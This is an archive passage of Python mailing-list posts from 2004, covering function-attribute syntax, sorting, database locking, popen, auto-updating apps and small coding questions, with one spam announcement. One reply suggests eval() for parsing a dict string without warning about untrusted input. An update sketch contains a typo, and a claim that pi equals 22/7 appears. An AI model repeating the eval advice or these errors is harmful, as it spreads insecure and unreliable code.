variables_. Other parts of Python react to them being set or reset, the >> very variable assigments are quite normal. Except for the name mangling >> of __*__ instance variables, but that is a lot smaller exception than >> changing the namespace of the assignment operator and the time at which >> that operator is executed. > > Assignments that pertain to the definition of something are processed > when the thing is defined. When used as I've been describing here, > __xxx__ variables pertain to the definition of the function. (...) Yes, that's my point. Other magic variables are not so magical that they change how the code is parsed. >> (...) while it may seem intuitive >> to you, you may have noticed that it seems counterintuitive to a lot of >> others. > > I have no idea how the lurkers feel about this. Maybe you are right. > Maybe this only makes sense to me. Well, I note you have gained at least one vote:-) >>>and 2) this style has parallels in both class definitions and >>>module definitions. >> >> It parallels them as long as you don't think of how it works. Once you >> do think of how it works, it's completely different. And you get a lot >> of subtle differences to confuse the issue. > > You need to show me the subtle differences. I'm not aware of any (that > matter). I have no idea what differences matters to whom, but: One common thing I've seen is people playing with __dict__: def f(): """foo""" class c: """foo""" print "function doc, dict:", f.__doc__, f.__dict__ print "class doc, dict:", c.__doc__, c.__dict__ --> function doc, dict: foo {} class doc, dict: foo {'__module__': '__main__', '__doc__': 'foo'} c's __doc__ can be retrieved from __dict__, while f's __doc__ cannot. Another: def f(): __foo__ = something() __bar__ = map(lambda x: __foo__ * x, something_else()) pass I expect __foo__ would be visible to the lambda. It is not if you replace 'def f():' with 'class c:'. One which I thought would be different, but it turned out it is not: x = 'global' def f(): __foo__ = x # __foo__ = 'global' x = 'local' I expected this to complain that local x is used before assigned similar to in a function body, but it used the global x: x = 'global' class c: __foo__ = x x = 'local' >>>Compare this class statement with the function def >>>above. >>> >>> class Oval(Circle): >>> """This describe's Oval.""" >>> __author__ = 'Paul Morrow' >>> __version__ = '0.1' >>> __metaclass__ = M >> >> Yes, I can compare that. It's fine in a class body, which is executed >> when the class definition is executed. When I see it in a function >> definition, I see a strange use of the assignment operator, which is >> normally a 'run-time' operator, in a place where it not being executed >> at run-time. > > It's also a 'definition-time' operator, Not in my eyes. See below. > as it often appears in class and module definitions. So why not be > consistent and let it appear in function definitions too? Because function definitions are inconsistent with class/module definitions anyway in that respect. Function bodies are not executed when the function is defined, unlike class/module bodies. In my eyes, it's not the assignment operator which is 'also a definition-time operator', it's class/module definition which is 'run-time operators'. Or something like that, anyway. If you call assignment a 'definition-time' operator just because it can be used while defining classes and modules, then anything is a 'definition- time' operator. If so, I'll ask you for some other word you'll accept for normal execution of statements, including in class/module bodies, as opposed to seeing a function definition and defining the function but not executing its body, and then I'll ask you to replace 'run-time' with that other word in the paragraph you quoted above. > What is so outrageous about this idea? There is nothing outrageous about splitting function definitions in one part which is executed when the definition is seen and one when the function is run. That's more or less what decorators are about, after all. It's your syntax for it which I'm against. > On the 'strange-meter', does it rank as high as docstrings or > meaningful indentation? Yes, I think it's quite strange to not make a clearer distinction between statements which are executed at different times and in different namespaces. Docstrings never registered on my 'strange-meter' at all. Indentation did, the first week or two. Both are quite clear even to someone who doesn't know Python, while your syntax would at the very least lead a newcomer to assume the function attributes are visible in the function body. I think nearly every proposed decorator syntax was less misleading. >>>Maybe we just need to be clear as to which lines under the def statement >>>constitute the function's /body/. >> >> That's perfectly clear without your change. Your change is confusing >> the issue, by also using an operator which one (well, at least many of >> us - not you, obviously) expects to be executed in the function body. > > We change the definition of where the function body starts, to exclude > any __xxx__ assignments immediately following the docstring. Then the > '=' operator has definition-time semantics, not run-time. True enough. >> BTW, I was all for having the function body extend further down - my >> first decorator choice (before J2) would have been the >> def foo(...): >> ...decorators and doc string... >> some_keyword: >> ...body... >> >> syntax. Like you point out about __*__ assigments it stands out, but >> it's even clearer, but it doesn't look like it would normally >> dosomething else, so the uninitiated will have far less reason to wonder >> what kind of voodoo is going on to make it do what it does. > > All of the suggestions I've seen like that one have the section keyword > at the same level of indentation as the def keyword, which is wrong > (IMO). There is no precedent for that in Python. We are defining > something; every statement related to that definition should be indented > farther to the right than the def statement (IMO). Heh. That argument against that syntax had not occurred to me. I just think of it as similar to try:/except:. It seems clear to me. But then, there wasn't any precedent in Python for your way of having no indentation between statements that are executed at different times either. Not until we got @decorators, anyway. -- Hallvard From skip at pobox.com Tue Sep 7 14:13:07 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 13:13:07 -0500 Subject: ANN: WxInter In-Reply-To: References: Message-ID: <16701.64051.195730.210429@montanaro.dyndns.org> Ed> Good points. The thing to do, IMHO, would be to improve Ed> wxWindows/wxPython to provide the text and canvas widget Ed> functionality, and then move with the WxInter idea to use it as a Ed> path for abandoning TkInter. FWIW, Gtk has a TextView widget with functionality similar to the Tk text widget. The Gtk folks have no desire to adopt the model the Tk text widget uses (I asked once upon a time), but you may be able to paper over most common differences in Python (I suspect a 100% replacement will be challenging). I did something along these lines for some contract work a couple years ago. My former employer is heavily open source oriented and can probably be convinced to release that code without much problem. Skip From indigo at bitglue.com Tue Sep 21 14:29:34 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 21 Sep 2004 14:29:34 -0400 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: <20040921182934.GA9959@unununium.org> On Tue, Sep 21, 2004 at 05:42:35PM +0000, Steven Bethard wrote: > Phil Frost bitglue.com> writes: > > On Tue, Sep 21, 2004 at 05:24:48PM +0000, I wrote: > > > Could you give an example of a list that you'd like to do this to? I'm > > > still having trouble imagining a list of disparate types that I call sort > > > on... > > What about binary trees? Currently it's possible to implement a binary > > tree that is as general as a dict, but restricting comparisons to like > > types would make that impossible. > > Is there a good use case for binary trees with incompatible types at the nodes? > > I'm not sure I follow your comparison here anyway, since you can't sort a > dict... Could you clarify? > > Thanks, > > STeve That's the point. Dicts can't be sorted, but binary trees *must* be. There are at least two good reasons to use a binary tree: - you need a mapping that is sorted by key - the worst case O(n) complexity of a hash table is not acceptable The right question here is, "is there a reason for mappings with heterogeneous key types?" It's not something that I do often, but it's something that's important to have. Dynamic typing is a good thing. From NOmanlio_perilloSPAM at libero.it Sat Sep 25 13:44:34 2004 From: NOmanlio_perilloSPAM at libero.it (Manlio Perillo) Date: Sat, 25 Sep 2004 17:44:34 GMT Subject: getrecursiondepth References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> Message-ID: On Sat, 25 Sep 2004 14:21:43 +0100, Michael Hoffman wrote: >Manlio Perillo wrote: > >> Why the sys module does not have a function like getrecursiondepth? > >I might be ignorant, but how does this differ from sys.getrecursionlimit()? >>> def foo(n = 0): print 'n = %d and recursion depth = %d' % (n, getrecursiondepth()) if n > 5: return foo(n + 1) >>> foo() n = 0 and recursion depth = 1 n = 1 and recursion depth = 2 n = 2 and recursion depth = 3 n = 3 and recursion depth = 4 n = 4 and recursion depth = 5 n = 5 and recursion depth = 6 n = 6 and recursion depth = 7 N.B. The real recursion depth starts at 2 in foo, I have redefined the origin. Regards Manlio Perillo From bhk at dsl.co.uk Sat Sep 4 19:07:44 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Sun, 05 Sep 2004 00:07:44 +0100 (BST) Subject: Xah Lee's Unixism References: <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> <20040904.0147.57671snz@dsl.co.uk> Message-ID: <20040904.2307.57681snz@dsl.co.uk> On Saturday, in article <20040904.0147.57671snz at dsl.co.uk> bhk at dsl.co.uk "Brian {Hamilton Kelly}" wrote: [Persian siege of Paphos, 452BC] > Even some two-and-a-half-centuries later, one can still see that the > earth was burnt by that firing, which amazes me. s/centuries/millennia/ Well, it _was_ very late at night when I wrote that. -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From carribeiro at gmail.com Tue Sep 28 19:00:32 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 28 Sep 2004 20:00:32 -0300 Subject: Extracting Zip Files In-Reply-To: References: <01bd01c4a59f$41c21cc0$054b12ac@D18SYX41> Message-ID: <864d370904092816002bd7c440@mail.gmail.com> On Tue, 28 Sep 2004 22:21:47 +0100, Martin Franklin wrote: > > | read(self, name) > | Return file bytes (as a string) for name. > This is one situation where the proposed "bytes" type would make more sense than a string. The documentation is also misleading, at best. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From DesertLinux at netscape.net Wed Sep 22 17:19:26 2004 From: DesertLinux at netscape.net (Byron) Date: Wed, 22 Sep 2004 21:19:26 GMT Subject: detecting variable types In-Reply-To: References: Message-ID: Hi Jay, You can detect the type of a variable by using the "types" module that comes with Python. Here is how to use it: >>> import types >>> name = "Steven" >>> if type(name) is types.StringType: print "Yes, name is a string." Hope this helps, Byron --- Jay wrote: > I'm sure this is a really dumb question, but how do you detect a variable > type in Python? > > For example, I want to know if the variable "a" is a list of strings or a > single string. How do I do this? > > From godoy at ieee.org Mon Sep 27 09:48:30 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 27 Sep 2004 10:48:30 -0300 Subject: Psycopg; How to detect row locking? References: <415811D2.7070408@magproductions.nl> Message-ID: Alban Hertroys writes: > Jorge Godoy wrote: >> Are you manually locking those rows? If so, you can maintain some >> structure to keep track of locked rows. > > No, I don't. That may be a solution, though. Then at least I *know* when > a record is locked... But it's going to complicate things, if the > transaction is split among multiple threads... I'm not looking forward > to that. :-) I don't think that locking is a solution... The MVCC approach sounds much better to me. > I think the rows are locked because the inserts haven't finished > inserting yet. The select takes place in the same session AFAIK, but not > in the same thread of my Python application. I'm probably looking at a > race condition here... (Ain't multithreading fun...) If there's no data then a SELECT would return nothing at all, without any error after all you're querying the database for some information that doesn't exist. > I'm also not sure whether I'm actually looking at the same transaction. > Is there a way to verify such? You have to look at psycopg's docs. I use pyPgSQL here. > I do know for certain that all transactions use the same database > connection (I pass it along in a context object, together with config > settings and debugging methods). And I'm also quite sure that it doesn't > commit in between. You would benefit a lot of transactions if you are inserting a lot of data or if there's some relationship between data (and constraints and triggers and ... at the database). The INSERT isn't commited until you issue a COMMIT. Any SELECT before that will return nothing. If you're not using transactions, then you are hitting the disk for each and every command. I've made some tests here and the difference goes from some seconds (with transactions) to several minutes (without transactions) for a 65k rows insert on an old project we did. >> If you are not locking, PostgreSQL uses MVCC where it locks as little as >> possible and you are able to select the new data inside the same >> transaction and old data outside of it (until it is commited). > > I suppose there must be a short while where the row is locked during the > insert, where I may already be trying to select it. If this is indeed > the case, I would expect to receive a "row is locked" type of error. There's no such need. There's no data there so the SELECT returns nothing. If there's data and you're updating it, then until you commit the transaction you get the old values. > Alternatively, the select may be waiting (w/in psql) until the insert > finished (which should be pretty soon in all cases[*]), but that depends > on implementations beyond my reach. Not that that matters, I shouldn't > have this problem in that case. > > > [*] Unless you break your database with triggers that lock up or > something similar. That could be a reason for the PostgreSQL team to not > let select wait until an insert on the same row finished, but to > return an error instead. They use MVCC: Multi-Version Concurrency Control. You might want to read about it: http://www.linuxgazette.com/issue68/mitchell.html http://www.developer.com/open/article.php/877181 Be seeing you, -- Godoy. From aahz at pythoncraft.com Tue Sep 7 18:02:30 2004 From: aahz at pythoncraft.com (Aahz) Date: 7 Sep 2004 18:02:30 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? References: <1gjjxns.siljhqnyugnuN%aleaxit@yahoo.com> Message-ID: In article <1gjjxns.siljhqnyugnuN%aleaxit at yahoo.com>, Alex Martelli wrote: > >"A foolish consistency is the hobgoblin of a small mind" (Emerson?) or >something like that. Thanks for reminding me to change my .sig. ;-) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Wed Sep 1 15:06:06 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Wed, 01 Sep 2004 19:06:06 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10jc7cu7e57koaa@corp.supernews.com> rpw3 at rpw3.org (Rob Warnock) wrote: # Craig A. Finseth wrote: # +--------------- # | Ville Vainio wrote: # | >... and / as path separator still screws up most of their cmd line # | >programs (which think / is for command line options). # | >Microsoft probably thought avoiding compatibility is a good idea, and # | >have only lately started to have some regrets... # | # | Wrong. The / was chosen as the command line option separator because # | whoever wrote MSDOS was looking to CP/M, who modelled their commands # | after a PDP-11 operating system (RT-11?). # +--------------- # # Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the # PDP-8, modelled the command syntax after that of the venerable PDP-10!! There's a story about why railroad tracks are spaced the way they are. Dig deep enough and traces of old DEC, IBM, CDC, Honeywell, and Burroughs can still be found. -- SM Ryan http://www.rawbw.com/~wyrmwif/ I'm not even supposed to be here today. From daniel.dittmar at sap.corp Mon Sep 13 04:37:19 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Mon, 13 Sep 2004 10:37:19 +0200 Subject: Python or 4NT? With a question or two about popen() In-Reply-To: <95c29a5e.0409121552.af6bdba@posting.google.com> References: <95c29a5e.0409121552.af6bdba@posting.google.com> Message-ID: Robin Siebler wrote: > I have a bunch of command line tests that I need to automate. I've > run into too many bugs with the default Win2k command shell, so I need > to either purchase 4NT or handle the logic and output processing with > Python. I'm looking for experiences, comments, problems, etc. I'm using 4NT as my interactive shell and it's fine. But as soon as a script requires something more complex than an IF, I'm doing it in Python. > Also, I'm trying to figure out how to use popen(). To say that the > documentation and expamples available for this is sparse would be the > understatment of the century! I know that I want to use popen4() but > what is the difference between os.popen4(), win32pipe.popen4() and > popen2.popen4()(did I miss any?)? At least in earlier versions of Python, os.popen* didn't worked when the script was being called from a service or a GUI program, as such programs had no 'console' and therefor no stdin and stdout. win32pipe.popen* fixed that. Daniel From info at companywire.net Tue Sep 7 15:01:33 2004 From: info at companywire.net (Paul Kinsella) Date: Tue, 7 Sep 2004 21:01:33 +0200 Subject: Company Wire Forum adds Brooktrout and Centile IP Telephony as members Message-ID: <200409071903.i87J2AKm016281@ormen4.basenet.levonline.com> ---------------------------------------------------------------------- NEWS BULLETIN - http://www.companywire.net ---------------------------------------------------------------------- Company Wire Forum adds Brooktrout and Centile IP Telephony as members Stockholm, Sweden, 7th September 2004 - Company Wire Forum (www.companywire.net) with its strong market position in the interoperable Messaging, VoIP, announces today that Brooktrout and Centile have joined as full corporate members, taking the total membership to eleven. The Company Wire Forum is growing rapidly, as the importance of interoperability within the internet and telecommunications is being recognized globally. The organization has added 6 new members in the last 8 months for a total of 11 members, representing many of the leading vendors and service providers worldwide. "The Company Wire Forum is pleased to have Brooktrout and Centile IP Telephony join us in promoting global interoperability issues worldwide," says Paul Kinsella, manager of the Company Wire Forum. "It is crucial to have industry leaders like these join with the rest of the Company Wire Forum members in assuring widespread product and service interoperability and also helping promote the deployment of interoperable technologies." About the Company Wire Forum The Company Wire Forum is the industry network for the promotion of global interoperability for Messaging and VoIP. Since its initiation in 2001 the forum has grow to over 21,000 industry members from service providers, software vendors, researchers, investors, and journalists / analysts. On a daily basis Company Wire produces the renowned Company Wire market intelligence newsletter, which is distributed to all the corners of the globe. www.companywire.net For further information please contact our head office at +46 18 15 22 00 or info at companywire.net ------------------------------------------------------------------------------------------------------- If you want to delete python-list at python.org from our directory simply reply with unsubscribe in the subject line. From nospam at here.com Sun Sep 19 04:16:13 2004 From: nospam at here.com (Richard Townsend) Date: Sun, 19 Sep 2004 09:16:13 +0100 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: On Sun, 19 Sep 2004 08:00:03 GMT, Chris S. wrote: > > Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this > arithmetic is meant for. Any decimal can be represented by a fraction, > yet not all fractions can be represented by decimals. My point is that > such simple accuracy should be supported out of the box. > Do you really think Pi equals 22/7 ? >>> import math >>> print math.pi 3.14159265359 >>> print 22.0/7.0 3.14285714286 What do you get on your $20 calculator ? -- Richard From __peter__ at web.de Tue Sep 28 13:16:31 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 28 Sep 2004 19:16:31 +0200 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> Message-ID: Elbert Lev wrote: > # here is the problem I ran into: > > class foo: > def __init__(self, host): > self.f() > self.r = True > > def f(self): > if self.r: > # > pass > else: > # > pass > > f = foo("1234") > > #here is the output: > > #Traceback (most recent call last): > # File "G:\MyProjects\Python\Little\inconv.py", line 16, in ? > # f = foo("1234") > # File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__ > # self.f() > # File "G:\MyProjects\Python\Little\inconv.py", line 9, in f > # if self.r: > #AttributeError: foo instance has no attribute 'r' > > # I understand why does this happen, but, to tell the truth, ...you don't seem to. An attribute is not there until you set it. > # this feature is very annoying. > # Are there any plans to relax this restriction? > # In 3.0 :)? No chance. Even as a non-developer I dare say that. Either modify __init__(): def __init__(self): self.r = False # for example self.f() self.r = True or change f(): def f(self): if hasattr(self, "r"): # do something else: # do something else Peter From aleaxit at yahoo.com Sat Sep 18 04:39:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 18 Sep 2004 10:39:09 +0200 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <2r0rq6F12j2qtU1@uni-berlin.de> <414b8774$0$2405$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <1gkazd2.1qm3g0u1l6b7lmN%aleaxit@yahoo.com> huy wrote: ... > Great idea Daniel. An SVN client would work well. I'll think about it > for a while but I think this would be a real option. SVN sounds attractive because, among other things, it's _designed_ to be scripted with Python (and no doubt in other ways, but I've noticed the Python part only). However, it sounds as if all you need is some variant of "os.system('svn up')" at program start (_before_ importing any module that is part of the app), so that 'cvs up' or any other revision control system would be just as fine. And most likely so would be a roll-your-own approach, which might go something like...: def check_for_updates( local_ver_filepath, #where we remember version remote_ver_url, #where the server does local_zip_filepath, #where we keep the modules' zipfile remote_zip_url, #where the server does report_fun=None, #how to give feedback of downloads ): # let's see if there have been any updates since we last ran current_local_version = open(local_ver_filepath).read() current_remote_version = urrlib.urlopen(remote_ver_url).read() if current_local_version >= current_remote_version: # nope, no update needed, let caller know return False, current_local_version, current_remote_version # updates! get the new set of modules into the right place urllib.urlretrieve(remote_zip_url, local_zip_filepath, report_fun) # make sure the modules' zipfile is on the sys.path import sys if local_zip_filepath not in sys.path: sys.path.insert(0, local_zip_filepath) # record out latest update, for the future open(local_ver_filepath,'w').write(current_remote_version) # let caller know we did perform an update return True, current_local_version, current_remote_version There -- in barebones term, isn't that roughly what you need? Sure, you can conceive enhancements of it, a lot of them -- enhanced error handling (this one doesn't DO much...:-), a log of what was updated when (that might take the place of the tiny local_ver_filepath file), keeping version numbers in the same zipfile as the modules rather than in a small separate file (you still want a separate URL on the server so you can check that no update is needed as fast as possible, of course), etc, etc. But, roughly speaking, it does appear to me that this twelve-statements-or-less function just ight meet your need even better than svn or cvs would... depending on your exact needs, of course!-) This one relies on Python's ability to import from a zipfile (of course, you _could_ easily unzip the file after downloading it if you wanted, but still it hinges on the concept of one update == one download). If your typical update is a module or two out of dozens making up your app, this would be suboptimal -- you'd waste a lot of bandwidth repeating the download of modules that are already just fine. svn or cvs would be better here. Alternatively, if you're willing to assume more cleverness server-side, you could get by with a single roundtrip -- s/thing like: filepath, msg = urlretrieve(server_url % current_local_version) if the current local version is already OK, the server would return an empty file and a msg with some appropriate header you can test; otherwise the server would zip, or better tar and gzip (or bzip2, even better) the needed set of modules, based on the current local version and the current remote/centralized on, and send that as the response, with a msg with some headers that can be tested for that. Of course, the _server_ could perfectly well use svn or cvs to keep track of what modules must go into the archive. And while this does require a modicum of intelligence on the server, it's nothing a perfectly plain CGI would have any trouble doing. The client would test the appropriate header of msg, then, if needed, unzip or otherwise uncompress the filepath and finally remove it. One advantage of each of these approaches is that you minimize what you need to install on the client -- no need for any cvs or svn and thus also no need for any of the dependencies of those systems. Any good old plain vanilla Python installation on the client would suffice... Alex From indigo at bitglue.com Fri Sep 10 15:19:21 2004 From: indigo at bitglue.com (Phil Frost) Date: Fri, 10 Sep 2004 15:19:21 -0400 Subject: python and bit shifts and byte order, oh my! In-Reply-To: References: <9490d.126$KA1.1800@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> Message-ID: <20040910191921.GB13533@unununium.org> The standard 'struct' module provides methods to specify the byte order of the input. On Fri, Sep 10, 2004 at 02:13:52PM -0500, Reid Nichol wrote: > > > > >The code that writes x to a file and reads it from a file is > >what you have to worry about. > > > > So, I have to handle the byte order myself during file i/o. > > > Thank you Grant and Daniel! I cleared up a a bunch of my fuzziness :) From michaels at rd.bbc.co.uk Tue Sep 21 07:24:49 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Tue, 21 Sep 2004 12:24:49 +0100 Subject: Microthreads without Stackless? References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> Message-ID: David Pokorny wrote: > "Bryan Olson": >> Michael Sparks: >> > [Try Greenlets] That's not quite what I was asking - I was asking Bryan for his opinion on them :) The answer was interesting and useful IMO :) >> Finally, I think I understand the kind of stack-conjuring >> required to make coroutines work, and it's well outside standard >> Python's documented extension API. I've been burned on that >> kind of thing before. > > Before sending people off to greenlets, I'm starting to understand why > you have to go check them out via CVS---they are somewhat dangerous in > their current form. Well, given the lack of airtime for them and the fairly fundamental playing around they do, I'm not entirely suprised. However that's not a reason to take a look at something, and they are pretty cool IMO. Regards, Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From FBatista at uniFON.com.ar Wed Sep 29 14:12:47 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 29 Sep 2004 15:12:47 -0300 Subject: multiple instance on Unix Message-ID: #- If so, you could do something like this: #- #- import time #- import os #- waiting_for_lock = 1 #- #- while waiting_for_lock: #- try: #- os.mkdir('/tmp/foo') #- waiting_for_lock = 0 #- except OSError: #- print "could not create directory" #- time.sleep(1) #- #do whatever you need one and only one process to do... If you don't have the permissions to write in /tmp this will fail. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From scott at p3international.org Thu Sep 16 10:24:28 2004 From: scott at p3international.org (Scott Deerwester) Date: Thu, 16 Sep 2004 22:24:28 +0800 Subject: PyCFunction_New() ? References: <1gk7ji3.1a18dy395nrmjN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Scott Deerwester wrote: > >> Is it possible to create a Python-callable object, dynamically, in C/C++? >> I > > Sure! But I'm not clear on why you want to create it dynamically. The > C++ code is there all the time, isn't it? So why not the wrapping of it > into Python-callable terms...? Because I'd like to have multiple instances of the class that has (or is somehow associated with) the C/C++ callback, and to be able to hand a corresponding Python object a Python-callable callback that ends up invoking the C++ callback for a particular C++ class instance... That's a lot of words, but the intention is: CObj1 = new SomeClass(); /* CObj1 constructor instantiates a Python SomePyClass object PObj1 */ /* CObj1 calls PObj1.setCallback(CObj1->someMethod) */ CObj2 = new SomeClass(); /* CObj2 constructor instantiates a Python SomePyClass object PObj2 */ /* CObj2 calls PObj2.setCallback(CObj1->someMethod) */ ... # PObj1 decides to call its callback, which calls CObj1->someMethod() # PObj2 decides to call its callback, which calls CObj2->someMethod() So the C++ function is (of course) not dynamic, but the Python object that wraps it is. > You can call PyCFunction_New, passing it a first argument that's a > PyMethodDef struct pointer, and a 2nd argument that's a PyObject* > (whatever you want the C function to receive as the first argument, > self). PyMethodDef is, of course: > > struct PyMethodDef { > char *ml_name; > PyCFunction ml_meth; > int ml_flags; > char *ml_doc; > }; > typedef struct PyMethodDef PyMethodDef; > > What problems is this giving you...? I was getting confused between a PyCFunction (which isn't a PyObject, is it?) and PyCFunction_New... which isn't in the API documentation. I'll have at it with what you've given me. Thanks! From terti at mighty.co.za Wed Sep 8 13:24:52 2004 From: terti at mighty.co.za (terti) Date: Wed, 08 Sep 2004 19:24:52 +0200 Subject: Embedding Python in C DLL Message-ID: Hi, // I need some help to embed the equivalent of the following Python code in a C DLL. from NLRclient import NLRclient i = NLRclient("server") s = i.getStrSort("qwerty") // This what I have so far: PyObject *module, *i; PyObject *arg , *kw; // The following I will put in the DllMain entrypoint Py_Initialize(); // from NLRclient import NLRclient module = PyImport_ImportModuleEx( "NLRclient", Py_BuildValue(""), Py_BuildValue("") , Py_BuildValue( "[s]", "NLRclient" )); // i = NLRclient("server") i = PyInstance_New( module, Py_BuildValue("s","server"), Py_BuildValue("")); Up to here the program compiles but when I run the application, I get a runtime error dialog. //This will be placed in one of the Dll functions // s = i.getStrSort("qwerty") How to I invoke a method from the created "i" instance ? Py_Finalize(); return 0; Many thanks, Tertius From avera at coes.org.pe Thu Sep 16 22:20:18 2004 From: avera at coes.org.pe (Alberto Vera) Date: Thu, 16 Sep 2004 21:20:18 -0500 Subject: threads and classes Message-ID: <000a01c49c5c$e0bddcc0$1603a8c0@pc22> Hello: Could you tell me How I can make a class that contains 2 thread of 2 methods? Regards -------------- next part -------------- An HTML attachment was scrubbed... URL: From nick at craig-wood.com Mon Sep 27 10:30:18 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 27 Sep 2004 14:30:18 GMT Subject: Optimizing tips for os.listdir References: Message-ID: Thomas <2002 at weholt.org> wrote: > I'm doing this : > > [os.path.join(path, p) for p in os.listdir(path) if \ > os.path.isdir(os.path.join(path, p))] > > to get a list of folders in a given directory, skipping all plain > files. When used on folders with lots of files, it takes rather long > time to finish. Just doing a listdir, filtering out all plain files > and a couple of joins, I didn't think this would take so long. How many files, what OS and what filing system? Under a unix based OS the above will translate to 1 opendir()/readdir()/closedir() and 1 stat() for each file. There isn't a quicker way in terms of system calls AFAIK. However some filing systems handle lots of files in a directory better than others. Eg reiserfs is much better than ext2/3 for this purpose. (ext3 has a dirhash module to fix this in the works though). Eg on my linux box, running ext3, with various numbers of files in a directory :- /usr/lib/python2.3/timeit.py -s 'import os; path="."' \ '[os.path.join(path, p) for p in os.listdir(path) if \ os.path.isdir(os.path.join(path, p))]' Files Time 10 3.01e+02 usec per loop 100 2.74e+03 usec per loop 1000 2.73e+04 usec per loop 10000 2.76e+05 usec per loop 100000 2.81e+06 usec per loop Which is pretty linear... much more so than I expected! The above timings ignore the effect of caching - will the directory you are enumerating be hot in the cache? Something similar may apply under Windows but I don't know ;-) -- Nick Craig-Wood -- http://www.craig-wood.com/nick From ville at spammers.com Tue Sep 28 01:56:55 2004 From: ville at spammers.com (Ville Vainio) Date: 28 Sep 2004 08:56:55 +0300 Subject: pydev [was Re: python ides] References: Message-ID: >>>>> "Ian" == Ian J Cottee writes: Ian> Well this emacs user spent some time trying it (testing the Ian> version 2 beta). It is nice but it's no emacs unfortunately. A slight point of netiquette - please don't hesitate to quote the name of the thing referred to by "it", or write it out yourself if that's not possible :-). Apart from that, I'd like to point out that pydev (Python plugin for eclipse) seems to be alive and well (i.e. they seem to be implementing new features) with the recent 0.6 version: http://pydev.sourceforge.net/ Eclipse is where I think I'm going in my attempt to wean myself off emacs. -- Ville Vainio http://tinyurl.com/2prnb From toc-01-nospam at blikroer.dk Sun Sep 26 11:59:00 2004 From: toc-01-nospam at blikroer.dk (Tomas Christiansen) Date: Sun, 26 Sep 2004 17:59:00 +0200 Subject: TWAIN module References: <10lc81jftakvaf2@corp.supernews.com> Message-ID: Hank Fay skrev: > I believe that's a security policy issue which is optional; usually what one > would do is have the network admins create a user capable of using that > service from outside that machine; and then impersonate that user when > scanning. No, no, no :-) Some (ANY) user MUST be logged on to the workstation connected to the scanner for a TWAIN-scan to be successful. If the Python program is running as a Windows 2000 service (controlled by a VB6 program of my own, spawning the Python program), the service MUST have access to the desktop (so it MUST run under local system account). It's very anoying! ------- Tomas From ml at dynkin.com Wed Sep 15 14:42:25 2004 From: ml at dynkin.com (George Yoshida) Date: Thu, 16 Sep 2004 03:42:25 +0900 Subject: Convert Dictionary to String, vice versa? In-Reply-To: References: Message-ID: Byron wrote: > I am a newbie and would like to know if it is possible to convert a > string back to a dictionary? > > For example, I can convert a dictionary to a string by doing this: > > >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} > >>> strNames = str(names) > >>> print strNames > {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} > > However, is there a way to convert a string back to a dictionary? use eval. >>> dictNames = eval(strNames) George From lbates at swamisoft.com Mon Sep 13 11:21:54 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 13 Sep 2004 10:21:54 -0500 Subject: Not able to read blank lines and spaces on a small text file References: <2e569af.0409130648.a6aa116@posting.google.com> Message-ID: I think you were trying to make this a little harder than it actually is. Try this: #Open input file to be processed with READ access input_file = open("C:/pytest.txt", "r") empty_string_lines=0 # # Use the fact that you can iterate over a file # and you don't have to call readline or worry # with EOF issues. input_file will return a single # record each time through the loop and fall out # at EOF. # for record in input_file: record=record.strip() # Strip trailing "\n" if not record: empty_string_lines+=1 print "Blank line" continue # # Split words separated by delimiter(TAB) into elements key,value" # Limit split to first tab and the value is left intact. # try: key, value=record.split('\t',1) except: print "Bad record skipped, record=", record print "records must be of format key:value" continue print 'key=', key,' value=',value # # Get values from table # if key == "OrgID:": org_id = value elif key == "OrgName:": org_name = value # # Do something else with the values here # # Close file print "END OF FILE, empty_string_lines=", empty_string_lines 